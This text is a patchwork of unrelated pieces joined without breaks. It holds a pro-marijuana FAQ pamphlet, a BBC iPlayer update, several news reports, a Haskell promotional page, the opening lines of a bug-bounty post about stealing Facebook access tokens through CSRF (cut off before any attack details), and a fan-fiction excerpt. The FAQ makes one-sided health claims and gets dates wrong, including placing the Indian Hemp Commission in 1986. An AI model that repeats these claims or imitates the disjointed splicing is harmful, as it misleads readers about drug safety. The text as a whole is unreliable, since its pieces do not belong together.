Q. Who Uses Marijuana? A. There is no simple profile of a typical marijuana user. It has been used for 1000s of years for medical, social, and religious reasons and for relaxation [2]. Several of our Presidents [3] are believed to have smoked it. One out of every five Americans say they have tried it. And it is still popular among artists, writers, musicians, activists, lawyers, inventors, working people, etc. 3 Q. How Long Have People Been Using Marijuana? A. Marijuana has been used since ancient times [4]. While field hands and working people have often smoked the raw plant, aristocrats historically prefer hashish [5] made from the cured flowers of the plant. It was not seen as a problem until a calculated disinformation [sic] campaign was launched in the 1930s [6], and the first American laws against using it were passed [7]. 4 Q. Is Marijuana Addictive? A. No, it is not [8]. Most users are moderate consumers who smoke it socially to relax. We now know that 10% of our population have "addictive personalities" and they are neither more nor less likely to overindulge in cannabis than in anything else. On a relative scale, marijuana is less habit forming than either sugar or chocolate but more so than anchovies. Sociologists report a general pattern of marijuana use that peaks in the early adult years, followed by a period of levelling off and then a gradual reduction in use [9]. 5 Q. Has Anyone Ever Died From Smoking Marijuana? A. No; not one single case, not ever. THC is one of the few chemicals for which there is no known toxic amount [10]. The federal agency NIDA says that autopsies reveal that 75 people per year are high on marijuana when they die: this does not mean that marijuana caused or was even a factor in their deaths. The chart below compares the number of deaths attributable to selected substances in a typical year: Tobacco...............................340,000 - 395,000 Alcohol (excluding crime/accidents).............125,000+ Drug Overdose (prescription)............24,000 - 27,000 Drug Overdose (illegal)...................3,800 - 5,200 Marijuana.............................................0 *Source: U.S. Government Bureau of Mortality Statistics, 1987 6 Q. Does Marijuana Lead to Crime and/or Hard Drugs? A. No [11]. The only crime most marijuana users commit is that they use marijuana. And, while many people who abuse dangerous drugs also smoke marijuana, the old "stepping stone" theory is now discredited, since virtually all of them started out "using" legal drugs like sugar, coffee, cigarettes, alcohol, etc. 7 Q. Does Marijuana Make People Violent? A. No. In fact, Federal Bureau of Narcotics director Harry Anslinger once told Congress just the opposite - that it leads to non-violence and pacifism [12]. If he was telling the truth (which he and key federal agencies have not often done regarding marijuana), then re-legalizing marijuana should be considered as one way to curb violence in our cities. The simple fact is that marijuana does not change your basic personality. The government says that over 20 million Americans still smoke it, probably including some of the nicest people you know. 8 Q. How Does Marijuana Affect Your Health? A. Smoking anything is not healthy, but marijuana is less dangerous than tobacco and people smoke less of it at a time. This health risk can be avoided by eating the plant instead of smoking it [13], or can be reduced by smoking smaller amounts of stronger marijuana. There is no proof that marijuana causes serious health or sexual problems [14] but, like alcohol, its use by children or adolescents is discouraged. Cannabis is a medicinal herb that has hundreds of proven, valuable theraputic uses - from stress reduction to glaucoma to asthma to cancer therapy, etc. [15]. 9 Q. What About All Those Scary Statistics and Studies? A. Most were prepared as scare tactics for the government by Dr. Gabriel Nahas, and were so biased and unscientific that Nahas was fired by the National Institute of Health [16] and finally renounced his own studies as meaningless [17]. For one experiment, he suffocated monkeys for five minutes at a time, using proportionately more smoke than the average user inhales in an entire lifetime [18]. The other studies that claim sensational health risks are also suspect, since they lack controls and produce results which cannot be replicated or independently verified [19]. 10 Q. What Can I Do About Marijuana? A. No independent government panel that has studied marijuana has ever recommended jail for users [20]. Concerned persons should therefore ask their legislators to re-legalize and tax this plant, subject to age limits and regulations similar to those on alcohol and tobacco. For More Information, Write: Family Coucil on Drug Awareness P.O. Box 71093, LA CA 90071-0093 FOOTNOTES TO THE TEXT: 1. The same plant, known as hemp, has an estimated 50,000 non-drug commercial uses including paper, textiles, fuels, food and sealants, but these uses are also banned by existing laws. Sources: Encyclopedia Britannica, federal documents and historical records. 2. Coptic Christians, Rhastafarnians [sic], Shintos, Hinus, Buddhists, Sufis, Essenes, Zoroastrians, Bantus, and many other sects have traditions that consider the plant to have religious value. 3. Their personal correspondence and records reveal that U.S. Presidents Jefferson, Madison, Monroe, and others smoked hashish, as did Benjamin Franklin and Mary Todd Lincoln. President John F. Kennedy is also reported to have smoked marijuana to relieve his back pain. Many of America's greatest leaders and Founding Fathers (including George Washington) were hemp farmers. Sources: National Archives, published reports. 4. Archeologists report that cannabis was possibly the first plant cultivated by humans - about 8000 B.C. - and was used for linen, paper, and garments. Source: Columbia University, _History of the World_. It was being smoked in China and India as early as 2700 B.C. 5. Turkish smoking parlors were popular in both Europe and America. as well as the Middle and Far East, as recently as the turn of the Century. 6. The exhaustive Indian Hemp "Raj" Commission report (1986) by British authorities found no reason to restrict its use. But the notorious yellow journalist William Randolph Hearst fabricated and published horror stories about marijuana that were eventually investigated and shown to be lies, but not until long after the marijuana prohibition was enacted in 1938. Source: Larry Sloman, _Reefer Madness_. 7. Laws against marijuana were passed a year after the invention of a machine to harvest and process hemp so it could compete commercially against businesses owned by Hearst, the DuPonts and other powerful families. Source: Jack Herer, _The Emporor Wears No Clothes_. 8. Marijuana does not lead to physical dependency. Costa Rican Study, 1980; Jamaican Study, 1975; Nixon Blue Ribbon Report, 1972, et. al. 9. Source: Psychology Today, Newsweek, et.al. 10. Source: All univerity medical studies: UCLA, Harvard, Temple, etc. 11. Costa Rican Study, 1980; Jamaican Study, 1975; "The legal drugs for adults, such as alcohol and tobacco...precede the use of all illicit drugs." Source: National Academy of Sciences. 12. The FBI reports that 65-75% of criminal violence is alcohol related. "Pacifist syndrome" testimony was given by Federal Bureau of Narcotics Director Harry Anslinger before Congress (1948). However, the "Siler" Study conducted by the U.S in Panama (1931) reported "no impairment" in military personnel who smoked marijuana while off duty. 13. "The only clinically significant medical problem is that scientifically linked to marijuana is bronchitis. Like smoking tobacco, the treatment is the same: stop smoking." Source: Dr. Fred Oerther, M.D. 14. Coptic study (UCLA), 1981; "There is not yet any conclusive evidence as to whether prolonged use of marijuana causes permanent changes in the nervous system or sustained impairment of brain function and behavior in human beings." Source: National Academy of Sciences. 15. Source: Dr. Tod Mikuriya, _Marijuana Medical Papers_. Marijuana could replace at least 10-20% of prescribed drugs now in use. Source: Dr. Raphael Mechoulam. Marijuana was a major active ingredient in 40-50% of patent medicines before its ban. 16. 1976 17. 1983 18. The U.S. Government reports that the oral dose of cannabis required to kill a mouse is about 40,000 times the dose required to produce symptoms of intoxication in man. Source: Lowe, _Journal of Pharmacological and Experimental Therapeutics_, Oct. 1946. 19. In another famous study, Heath/Tulane (1974), wild monkeys were brutally captured, then virtually suffocated in marijuana smoke over a period of 90 days. Source: National Institute of Health. 20. Examples: the "LaGuardia" Committee Report (New York, 1944) and President Richard Nixon's Blue Ribbon "Shafer" Commission (1972).For full brand and model information, please refer to the BBC iPlayer help pages. These will be rolled out over the coming week. As I outlined in my previous post, over time, we are looking to migrate the majority of all existing devices to the new version. However, with BBC iPlayer now available on over 1,200 devices, this is a major task and will take a bit of time. Today, I am happy to announce the next wave of devices is ready to go. Back in March, we started rolling out a new version of BBC iPlayer: designed for a multiscreen world, so the experience is consistent, but optimised across PC, tablet, mobile and TV devices. We’ve had some great feedback so far, but lots of you have been asking when new BBC iPlayer will be coming to the devices you have. So today, I can update you on the roll-out on Connected TVs. The eagle-eyed amongst you will see the list above includes a number of devices that are currently using our ‘Bigscreen’ version of BBC iPlayer - which launched over five years ago and is currently only being used by 0.1% of BBC iPlayer users. With this in mind, limited resources, and new BBC iPlayer rolled out to over 85% users, we’ve had to make the tough call to retire the ‘Bigscreen’ version. This means that from next month (September 2014) some devices that are using this ‘Bigscreen’ version on some TVs, Blu-Ray devices and PCs connected to TVs will no longer have access to BBC iPlayer. There are lots of other devices that can access BBC iPlayer and for the full list please refer to the BBC iPlayer help pages. Please note that we have a similar looking service based on MHEG technology for Freesat compatible devices. This is not closing in September. Q. What about the versions of BBC iPlayer on Virgin Media Tivo, YouView, BT Vision and other devices? A. We are working with YouView, Virgin Media and BT to bring new BBC iPlayer to these platforms. Whilst I cannot announce dates, we are targeting this year for these platforms. Similarly, other devices on our legacy version of BBC iPlayer will be migrated to the new version this year as well. Q. You said Xbox One was coming soon – any update there? A. Yes. I am happy to announce that we’re aiming to launch new BBC iPlayer on Xbox One by the end of this year. We have completed four releases to this product since we launched out of preview in May – this has included a number of fixes and improvements to performance of the product on all devices. Some of you will have noticed better video playback performance, clearer labeling and a number of other minor improvements that we have made in response to both audience feedback and usage data. As always, I love hearing your feedback, so please drop me a note below with suggestions for how we can make BBC iPlayer even better on Connected TVs. Marcus Parnwell is Executive Product Manager for BBC iPlayer on TV.(Newser) – "Why is a powerful country like China so afraid of a beauty queen?" Anastasia Lin asked in 2015 after the country denied her a visa to keep her from competing in the annual Miss World pageant being held there. The New York Times reports the 26-year-old Canadian beauty queen has rubbed China the wrong way because she uses her platform to speak out against the country's human rights abuses. “I don’t care about all this—the hair, the dresses,” Lin tells the Boston Globe. “I just want to get to that stage and be the voice for people who are silenced.” But now family and friends say Lin is the one being silenced, threatened with being booted from the 2016 Miss World pageant—funded largely by Chinese companies despite being held in the US this year—if she continues to speak her mind. Moments after Lin gave the Globe the above quote, pageant officials broke up the interview. And sources tell the Hollywood Reporter that Miss World has turned down requests from the AP, Times, and Reuters to interview Lin. After a State Department official requested to meet with Lin, Miss World reportedly insisted on a pageant chaperone. Lin, also an actor, is the star of The Bleeding Edge, a film about China harvesting organs from members of a banned religious group that is premiering in the US on Wednesday. Organizers of the premiere say Miss World is banning her from attending. The head of the Miss World pageant denies any sort of "gag order" on Lin, saying she's free to attend events and speak with anyone she wishes. (Read more Miss World stories.)Haskell is a pure functioning programming language created over 20 years ago by researchers from a consortium of major universities. It is sustained and enhanced by an enthusiastic and dedicated global open-source community. Haskell’s approach is fundamentally different from other imperative languages (Java, C family, Python etc.) dominant today. Haskell programs are a series of high-level generalizable functions that define what the program is intended to do, and the programmer focuses on the objective, the best design and ensuring the logic is correct. Haskell is a leap forward from traditional programming's series of low-level instructions telling the computer exactly how to calculate things in minute, step-by-step order. Haskell frees the programmer from many of these minutiae, and drastically reduces the time spent finding and correcting errors. At the same time, it provides native support for high-performance, multicore, scalable computing. Watch our short Introduction to Haskell video to understand why developers prefer Haskell over other programming languages. Learning resources One of the best online resources for learning Haskell and Haskell-related topics is the School of Haskell, packed with tutorials and books with interactive code snippets, contributed by well-known Haskell authors and community members. Benefits of Haskell Strategic Benefits of Haskell Reduce the high rate of software project failure and billions of dollars wasted on the bug fix/maintenance/rewrite cycle Accelerate time to market by 30-50% Improve product quality Increase programmer productivity Scale up dramatically, with included support for multi-core and cloud computing Improve data quality with Haskell's powerful, extensible data type system These real-world case studies describe how several companies achieved faster time to market, better quality, and better scalability by using Haskell in their professional work. We've included examlpes of companies switching to Haskell from other languages, or using a mixture of Haskell and other languages. Key Features of Haskell Cut code size by 50-80% Dramatically cut errors Significantly reduce time for finding and fixing errors—fewer errors and fixing them at compile time, not run-time Easy code maintenance and rework without introducing new errors (no more spaghetti code) Much more secure—much fewer holes to exploit Built-in concurrency and parallel processing boost performance Domains Haskell is the right choice for organizations needing: Big Data broadly defined: data analysis, modeling, simulation Fast time to market or prototyping High-quality correct code Frequently changing applications Easy maintenance High security Markets currently using Haskell Financial services (especially trading & contracts) Hardware & software design Energy Big Pharma & biotech Consumer data Scientific computing Web applications Download Haskell For everything you need to get started with Haskell, you need The Haskell Stack. Downloads are available by operating system: Go into a Haskell project directory and run stack build. If everything is already configured, this will: Download the package index. Download and install all necessary dependencies for the project. Build and install the project. You may be prompted to run some of the following along the way: stack new to create a brand new project. to create a brand new project. stack init to create a stack configuration file for an existing project. stack will figure out what Stackage release (LTS or nightly) is appropriate for the dependencies. to create a stack configuration file for an existing project. stack will figure out what Stackage release (LTS or nightly) is appropriate for the dependencies. stack setup to download and install the correct GHC version in an isolated location (default ~/.stack ) that won't interfere with any system-level installations. (For information on installation paths, please use the stack path command.) If you just want to install an executable using stack, then all you have to do is stack install <package-name>.Three Spanish journalists who have disappeared in the northern Syrian city of Aleppo some 10 months ago have finally been freed. Antonio Pampliega, Jose Manuel Lopez and Angel Sastre were covering the Syrian war when suddenly all contact with them has been lost. A source from the Spanish government said the three men are safe and in Turkey at the moment, and will be brought home very soon. The source also added that Turkey and Qatar have been pivotal in releasing them. In 2014, ISIS released two Spanish reporters after holding them for 6 months. Syrian has been ranked the world’s most dangerous place for journalists by Reporters Without Borders group. Violence in Aleppo has steadily increased in the last two weeks despite efforts to implement a ceasefire. AdvertisementsVoting is now underway to elect a new federal NDP leader, with the winner to be announced next month. CBC News Network's Power & Politics has interviewed each of the four remaining candidates to see where they'll take the party in the approach to the 2019 election. Charlie Angus The MP for Timmins-James Bay in Northern Ontario says he'll pursue laws to cap greenhouse gas emissions coming from companies: "I come from mining country. Nobody ever cleaned up Sudbury without legislation. Behind my property, there's a lake that's been polluted for over 100 years. They stopped dumping arsenic and heavy metals in lakes because of legislation. What we need to do is say 'What is the cap we need to meet?' [Then] we legislate it, we work with industry …. You legislate the limits, then you establish a mandate of experts who can look at this." 'I know I ruffled some feathers and that makes some people uncomfortable,' the NDP leader hopeful says. 8:09 Niki Ashton Ashton, who represents the federal Manitoba riding of Churchill–Keewatinook Aski, says she wants the federal government to invest in stable, year-long work for young people while raising taxes on large corporations and making new tax brackets for top earners. "What we've proposed here is the need for fair taxation. That means those who have more pay more. Canada used to be a lot more equitable in terms of the tax system we used to have, then in the '90s that started going off the rails. What we've proposed is looking at some of what we used to do, including raising corporate tax rates to 21 per cent, which was the pre-Harper level." 'If we're going to talk about tackling inequality, tax reform is a big part of that,' says the NDP leadership candidate. 8:08 Guy Caron Guy Caron says the NDP would pour $30 billion to $35 billion into a basic income policy paid for by a tax reform package focusing on the wealthy if the MP for Rimouski-Neigette–Témiscouata–Les Basques is elected leader. "We have to acknowledge that Canada is one of the countries that taxes wealth the least. It's also well known that our income inequality is increasing faster: $30 to $35 billion may look big, but you have to put it in context. The Liberals came into government with a balanced budget, now they're $28 billion in deficit [as of the last federal budget] with very little to show for it. I'm proposing basically $30 billion to eliminate poverty and face future challenges." NDP leadership candidate Guy Caron discusses the race, what he bring to the contest and his chances of winning. 6:44 Jagmeet Singh The representative for Bramalea–Gore–Malton in the Ontario legislature says his environmental policy favours any project that respects Indigenous rights, climate change goals and local priorities — so while he's against Energy East and Kinder Morgan, he's not a hard "no" on all pipelines. "We need to make investments in the future, in projects that are going to help us build a sustainable economy. If we can meet the criteria for a sustainable economy, building something that's sustainable for the future, I'd support it. If it doesn't meet those criteria, I don't think it makes sense for our country."Today I announced my retirement from News Talk 770. It seems right to let you know some things about my impending retirement. First off, let me say that it is my decision. I’m not being forced out. I am not retiring because I hate my job. Quite the contrary. It’s been 42 years and the time just seems kinda right. I got into radio because I loved music. But the job became much more than that and I’ve been lucky enough to have worked in 4 different markets in 3 different provinces. Along the way I met lots of great people and enjoyed all of it. (Well, almost all of it. Being unemployed for 3 months wasn’t much fun.) WATCH BELOW: News Talk 770 Host Bruce Kenyon on the Station Celebrating 50 years There are many people to thank that helped me along the way. Firstly, my wife who uprooted her life twice to accommodate my career. She has provided a stability and confidence that enabled me to become the announcer and person I am. Secondly, I have to thank some people in the radio business. Apologies for the inside radio line but people like Terry Strain, Bob Lang, Neil Edwards, Doug Rutherford, Doug Pringle and John Vos. All provided jobs and direction at various times in my life. Thirdly are the co-workers, too numerous to mention, that have made coming to work a pleasure. I’ve always had just as much fun off-the-air as on-the-air. Lastly and most importantly, you the listener. Without your support, constant feedback and loyalty, this radio career would not have been nearly as fun and fulfilling. So, thank you. – Bruce PS I’m still around for a couple of months but my replacement announcement is coming soonMicrosoft's supremo for China has told state-owned China Daily that Redmond's ready roll out version of Windows 10 with extra security features demanded by China's government. "We have already developed the first version of the Windows 10 government secure system. It has been tested by three large enterprise customers," Alain Crozier, CEO of Microsoft Greater China told China Daily. China used Edward Snowden's revelations to question whether western technology products could compromise its security. Policy responses included source code reviews for foreign vendors and requiring Chinese buyers to shop from an approved list of products. Microsoft, IBM and Intel all refused to submit source code for inspection, but Redmond and Big Blue have found other ways to get their code into China. IBM's route is a partnership with Dalian Wanda to bring its cloud behind the Great Firewall. Microsoft last year revealed its intention to build a version of Windows 10 for Chinese government users in partnership with state-owned company China Electronics Technology Group Corp. There's no reason to believe Crozier's remarks are incorrect, because Microsoft has a massive incentive to deliver a version of Windows 10 that China's government will accept. To understand why, consider that China's military has over two million active service personnel, the nation's railways employ similar numbers and Microsoft’s partner China Electronics Technology Group Corp has more than 140,000 people on its books. Not all of those are going to need Windows, but plenty will. That China's gently backed its own cut of Ubuntu, dubbed Kylin, also makes it plain Microsoft could face competition in the middle kingdom. Windows-watchers have also found Crozier's words significant, because it's felt Windows Red, as The Register may call this cut, was being developed in parallel to the Windows 10 Creators Update. And if Windows Red is ready, perhaps the Creators Update isn't far behind. The Register has asked Microsoft to explain the security features of Windows Red, but had not received a reply at the time of writing. You know the drill: we'll update this story if Microsoft sends any information. ®Please enable Javascript to watch this video FORSYTH COUNTY, N.C. -- The man accused of abusing a Kernersville girl contacted FOX8 and declared his innocence Friday. Kyle Christopher Fox said in a phone interview he had nothing to do with injuring the child seen in graphic photos that have gone viral on Facebook. Fox was located and arrested by Winston-Salem police on Friday evening, hours after he called FOX8. Pictures of the girl’s injuries have now been shared more than 137,000 times on Facebook. They are attached to a plea from Craig and Leigh Hollars to get justice for their daughter. She was 2 years old when they say friend and neighbor Fox beat her. Fox and his wife were babysitting for the child overnight at the time of the alleged abuse. This week, child abuse charges against Fox were dismissed. The District Attorney’s office said it was because they couldn’t reach important witnesses in the case. The Hollars’ post went viral as prosecutors worked to re-file charges against Fox. The D.A.’s office re-charged Fox Thursday and added a felony to the accusations. “It really upsets me that somebody could say I did something like that,” Fox told FOX8. The abuse allegedly happened in a Walkertown Hardee’s bathroom. The initial incident report from the sheriff’s office says deputies were called there around 10 a.m. “They said they had a call or something, somebody seen me abusing a child. I don't even -- they never made it clear to me what anybody seen. Nobody ever told me what I did or whatever. But they didn't charge me with nothing [at the time] and let me go with the child. My wife came and we took her to the doctor right after that,” Fox said. “I was the one sitting there while she was in Brenner's, holding her hand. She was reaching out for me,” Fox insisted. “I would never hit a child. I am with my children every day. I don't spank. I couldn't fathom hurting one of my children.” He said they had already scheduled to take the girl to the doctor that morning because she’d been ill the night before. Fox said they thought she had strep throat because she was “pointing to her throat” and “vomited blood the night before.” He could not provide documentation to support his claim the abuse happened before the girl ever got to their home. He said he and his wife were trying to help and took the original photos of the injuries that have now gone viral. Fox claims he was wrongly charged because of his extensive criminal background. He said he’s never been violent toward children. In addition to the child abuse charges, Kyle Fox has four pending court dates in Forsyth County for charges including: disorderly conduct in a public building, possessing drug paraphernalia, driving while license revoked, assault with a deadly weapon, reckless driving, communicating threats, and multiple driving-related charges. He also has a criminal history of convictions in North Carolina including: DWI, Felony Possession of Drugs, Carrying a Concealed Weapon, Breaking and Entering, Communicating Threats, Assault on Female, Larceny, and Assault. At about 6:50 p.m., Fox was located and arrested by Winston-Salem police at the Motel 6 on Patterson Avenue. He was placed in the Forsyth County Detention Center under no bond and is scheduled to appear in court Monday. Editor's note: The video at the top of the story was shot and edited prior to Fox's arrest on Friday evening.Turkish Foreign Minister Mevlut Cavusoglu speaks during a press conference on May 12, 2015 in Antalya on the eve of meetings of NATO Ministers of Foreign Affairs (AFP Photo/Ozan Kose) Antalya (Turkey) (AFP) - Turkey on Tuesday called for determined action from NATO member states against the "significant" threat posed by Islamic State jihadists who have taken swathes of Iraq and Syria up to its borders. Foreign Minister Mevlut Cavusoglu said in Antalya that the threat from IS to the south of the NATO alliance's borders would be a key issue when its top diplomats hold a two-day meeting from Wednesday in the southern resort city. He praised a plan -- still yet to be realised -- for moderate Syrian opposition to be trained and equipped on Turkish territory in cooperation with the United States but said more was needed. "This will be effective but this will not be enough on its own and we have to take further steps," he told a news conference ahead of the meeting, adding that measures like air strikes were also not sufficient alone. "In order to eradicate terrorism we need to deal with the grassroots of terrorism," he added, without elaborating further on the nature of the steps required. Turkey has in the past called for the creation of a security zone inside Syria to protect its borders. But the idea has received just lukewarm support from its Western allies. Turkey, the sole Muslim majority member of NATO, has been criticised for itself not taking harder steps against IS with some commentators even questioning its future in the alliance. President Recep Tayyip Erdogan has always insisted the exit of President Bashar al-Assad is the key to peace in Syria. But Cavusoglu insisted that Ankara was deeply troubled by IS, noting that the militants controlled border posts on Syria on the Turkish frontier. "Turkey is the only member of the alliance to have borders with Daish," he said, using an Arabic origin and pejorative term for the group. "Daish on our borders is not a sustainable situation. It poses a significant threat to us. "It (the group) is a neighbour to Turkey," he added. Cavusoglu pointed to foreign fighters from "90 different countries" who have tried to come to Turkey in transit on their way to join IS in Syria. "Once they enter our country, it becomes very difficult to control our borders. We have to rid the region of terrorism. For this we need determined policies." He batted off criticism that Turkey was not doing enough to halt the flow of foreign militants, saying that 1,300 had already been deported from the country during the Syria conflict.The Detroit police officer who fatally shot a sleeping 7-year-old girl will not be retried All charges have been dropped, and Detroit cop Joseph Weekley will not be forced to retire. Officer Weekley shot and killed the sleeping 7-year-old Aiyana Stanley-Jones with an MP5 submachine gun; as he led a police raid into her home in search of a murder suspect. The Wayne County Prosecutor’s Office announced Wednesday that it will move to dismiss the case against the officer on Friday morning. Today we personally informed the family of Aiyana Stanley-Jones that we have made a decision that we would not be going to trial for a third time. -Wayne County Prosecutor Kym Worthy Weekley’s attorney, Steve Fishman, told jurors the shooting was a tragic accident. Fishman claims Aiyana’s grandmother, Mertilla Jones, had contact with Weekley’s gun and it discharged during a raid; Jones denies the claim. Ron Scott, a spokesman for the Detroit Coalition Against Police Brutality, say he plans to request that the U.S. Department of Justice consider filing federal civil rights charges against those responsible for the raid. This episode, given what is happening nationally in terms of police-community relations, sets us back decades. We will continue the fight for justice for Aiyana … since she is not here to fight for herself. -Infinite Wiz(@InfiniteWiz)No, the port of Astoria is not suddenly advertising a dozen simultaneous door crasher sales. Instead, it has come up with a unique and colourful way to deal with the town’s sealion infestation: by installing a series of wacky-waving-inflatable-arm-flailing tube men – also known as air dancers – along piers and wharves that were overrun by sea lions. “It’s [gone] about as anticipated,” Rob Evert of the Port of Astoria told KOIN News. “We know that were would be initial surprise and random movement and the bright colours we know actually deters the sea lions.” READ MORE: Police killing of rancher in Oregon standoff justified, says prosecutor Situated at the mouth of the Columbia River, the port of Astoria serves as a natural place for sea lions to hunt migrating salmon. According to port officials, the presence of as many as 2,500 sea lions is clogging up port facilities and causing as much as $150,000 in damages each year. WATCH: Mass of Sea Lions prove difficult to dislodge in one Oregon town This isn’t the first outside-the-box strategy the city has employed to try to discourage the mass of sea lions. Previous attempts included a fake orca designed to scare them off (it sunk), throwing beach balls and plastic streamers at the sea lions (they ignored them), and plastic fences. READ MORE: Kelowna’s cutest new RCMP member Not everyone in the town supports the plan to discourage the sea lions. Vanessa Montoya with The Sea Lion Defense League argues the town offsets any losses in damages with the revenue brought in by tourists curious to see the sea lion mass migration. “These guys are such a huge draw for tourists and we have 24 cruise ships coming to town,” Montoya told KOIN News. For now, the tube men appear to be working, though port officials are waiting to see if the change is permanent.Blog Bug bounties Stealing Facebook access_tokens using CSRF in device login flow written on July 19th, 2016 Facebook has published a way to use OAuth on Internet of Things devices, called Facebook Login for Devices. You can read the documentation here. The usual flow is: Application requests graph.facebook.com/oauth/device?type=device_code&client_id=1 to retreive a hash code and user_code The application tells the user to go to facebook.com/device and input the user_code The user inputs the code and verifies the application through usual OAuth flow. user_code is then connected to application code. https://www.facebook.com/v2.5/dialog/oauth?redirect_uri=https%3A%2F%2Fm.facebook.com%2Fdevice.php%3FuserCode%3D{$user_code}&client_id=1234 This is the mobile version of device login flow - redirect_uri points to a mobile domain. The application
of his eye and watched a tall, gray haired man weave expertly through the thick crowd of hungry students. An anonymous mug was clasped in his firm, pale hand. He watched the man approach, desperately trying to place who he was. He knew he was important, but that much was evident from how everyone was making way for him. The man reached their table and stopped just behind Jaune and Weiss. He placed his hand on the bandaged hunter's shoulder. "It's good to see you're back, Mr. Arc." Jaune felt the urge to get up and show respect, but the pressure on his shoulder increased lightly. "As you were, lad." He pat the young man on the shoulder. He turned his head to address the others. "I was wondering what Mr. Arc's condition might be. Is it just as the doctors expected?" His hand was still firm on Jaune's shoulder. It felt warm and comforting. Jaune said nothing. He concentrated on the long red hair of the taller girl. The itch on his tongue was greatest when he looked at her. There was something just under the surface. "He says he's coming back to himself slowly, Sir. He just has to take it easy, and his memories should reassert themselves. There's nothing much we can do but wait." Ren spoke for all of them. "I see." Jaune felt rather than saw the older man take a drink from his mug. "Concentrate on healing, Mr. Arc. All you need to know at this point is that the battle is over, hopefully for good. All that remains is that you return to us whole in body and mind, for all of this to be a complete success. We will speak again when you are well." Ozpin gave Jaune another pat on the shoulder before raising his mug to the eight hunters in training. He turned and walked back into the crowd, disappearing in the throng in seconds. Silence fell on the table as no one quite knew what else to say. They tried to go back to their breakfast, but after a moment, they would all glance over at the bandaged boy and wonder what was going on in his head. So he'd been in some sort of scuffle. He tried to think about it, but he wasn't drawing anything useful. He decided to file it away for later and concentrate on his previous line of thought. He refocused his gaze at Pyrrha. She offered him a patient smile. "The tournament." Weiss gasped, her hand clamped down on his. Pyrrha looked mildly surprised. "Who won the tournament?" For a second no one knew how to answer him. Then, Pyrrha spoke. "Well, we did. They had a rematch two weeks after the attack." "Yeah, piece of cake," chimed Ruby. "Good job." Jaune turned back to his lukewarm eggs. Slow and steady. The next few days consisted of working through a routine that felt simultaneously familiar and foreign. He would wake and freshen up. Weiss would tie his tie for him every day. They would work their way through the school schedule; breakfast, classes, lunch, free period, more classes, dinner, self study, sleep. They had been excused from further assignments for the remainder of the year. Ozpin cited the fact that any test they could possibly throw at them would only result in so much anticlimax. They preferred to keep up with the bookwork and practice on their own. No sense getting lazy just because they helped save the world. Weiss helped him catch up on the book work he'd missed. The readings helped keep his mind sharp. He felt relieved when he read the first passage of a completely alien chapter on survival techniques and understood it. He figured his intelligence hadn't been rattled too badly in the fight. They would practice against one another to keep their combat techniques sharp. Jaune sat out on these occasions, preferring to watch from the sidelines. Forcing his eyes to track his fast moving friends across the sparring field helped, he felt it brought him closer to getting back to who he was. A quick feint, or a signature twist, a flutter of a red cloak, or a burst of fire from a fist would trigger colors and sounds. He would clamp onto them and wrangle them into focus, forcing them to reveal the elusive memory. He found Yang again in his mind when she threw Ren clear across the room for grazing her hair with one of his knives. He wouldn't stop smiling the rest of the day. During one of Oobleck's rapid fire history lessons, he was tracking the speedy professor across the room when a lance of pain shot through his head. He grit his teeth and straggled to blink away the tears. He saw flashes of a fierce head with a grisly mane of golden hair. His eyes were yellow, luminous, and burning. He knew. He knew that this was the person he had fought to the end. The one he barely came back from. All of a sudden a wedge of his life fell back into place, throwing his entire world askew. He saw himself in the cavern, doing battle with the otherworldly creature. He saw himself throw his body into the flames, fully expecting to die. But he survived. Jaune fell out of his seat, panting hard. Weiss was at his side in an instant, holding his head up, looking down at him with shimmering blue eyes filled with concern. He stared open mouthed into her eyes. Shining and blue and clear and large. After the blinding fire there was raw, cold ice. There was a surge of energy as his protective glyph had run out of juice. The fail safe had triggered. He was immediately encased in a sphere of ice two feet thick. His sword was gone, lodged through his foe. His injuries were being healed by a newly applied healing glyph, and jagged spikes erupted in every direction, simultaneously planting him into the ground, and slicing through his enemy all at once. The only problem was that he was still on fire, in a confined space with finite air. He began choking and inhaling rolling steam. He collapsed onto the floor of the sphere that was rapidly filling with melted water. The last thing he saw were the growing pool of tears in her soft blue eyes. When he came to, someone was dabbing a cool, moist pad across his forehead. They trailed the soft pad down his cheeks and across his lips and around his neck. It felt good and refreshing. Then he heard the soft sobs and he opened his eyes. He was back in his room. Weiss sat next to him lightly dabbing the most cloth across his face. Her mint blue eyes were shining with tears. Her soft pink lips were twisted into a pained frown, and her face was badly contorted in silent anguish. He looked up at her for a moment, not sure if she saw he was awake yet. "Weiss." She started and looked down at him in mild surprise. "Wha! Y-You're awake." She put the sponge aside and bowed her head over him, placing her hands on his shoulders. He could tell she was struggling between smothering him and respecting his injuries. "Oh, please tell me you're alright." He ran his mental check again. From his earliest memory, all the way down to about a month ago. It all flowed from one scene to the next. The people, the places, the choices he'd made, they were all there. He looked back up at Weiss and felt the familiar rush of love and warmth that he always felt while looking at his little angel. He smiled as broadly as his bandages would allow. Oh, how in the world could he possibly forget his little angel? "Weiss." He sat up and swung his legs over the side of the bed. He took her face in his own larger hands. His deep blue eyes sparkled with recognition. "Oh, Weiss. Weiss. Weiss." He said her name over and over again. Each time he stroked her cheek, wiped her tears, ran his hands through her hair. His hands roamed over her hungrily. And they hadn't had their fill in a very, very long time. She could only take so much. She launched herself onto him. He secured his arms around her as she adjusted herself on his lap. They peppered each other with frantic kisses. And when they were spent and out of breath, she burrowed her head into his chest and he buried his lips into her hair. They rocked back and forth on rolling waves of emotion. He missed her hair. He missed holding her like this. He missed her! He felt warm tears soak into his chest. He responded by holding her tighter and letting the emotion wash over them. They stayed like this, silent and clinging, until the fear and the doubt and the worry had all run their course. It was over now, and they had both come out of it alive and whole. "I was scared." She spoke in a small voice. He squeezed her. "Every time I looked at you and saw those vacant eyes, I thought this is it, he's never coming back." He shushed her by rocking back and forth. "Hush. Don't think those things. I'm back. I'm back and I'm not going anywhere." Slowly, she told him about how they dug and dug, how she was sure her fail safe would keep him alive. She told him how they finally worked their way back into the ruined chamber and found his ice shield. They cracked through it and found his mangled body. The fire and the scalding steam were enough to cook his flesh. They pulled him out and Bill loaded him onto his back. They ran him all the way back to the chopper. She had been by his side ever since, saying silent prayers to every deity she could think of. "The hospital was already overloaded from the injuries coming in from the city. Somewhere along the lines they seem to have noticed who I was and they put you in a better room, but it still wasn't enough. You were so far gone..." Her voice began to warble dangerously, he ran his hand up and down her waist in support. "I wouldn't accept it. I called my father and demanded he send resources to help you. To help everyone! I screamed at him for hours." She nuzzled closer as if she wanted to fold herself into him and disappear. "No one yells at the Schnee head. No one." A hint of bitterness laced her voice. "Especially me. I don't know if I can go back there when school lets out. I don't know if I'd want to even if I could." Jaune nodded into her hair. He understood. After everything she'd told him, he understood. "Then come home with 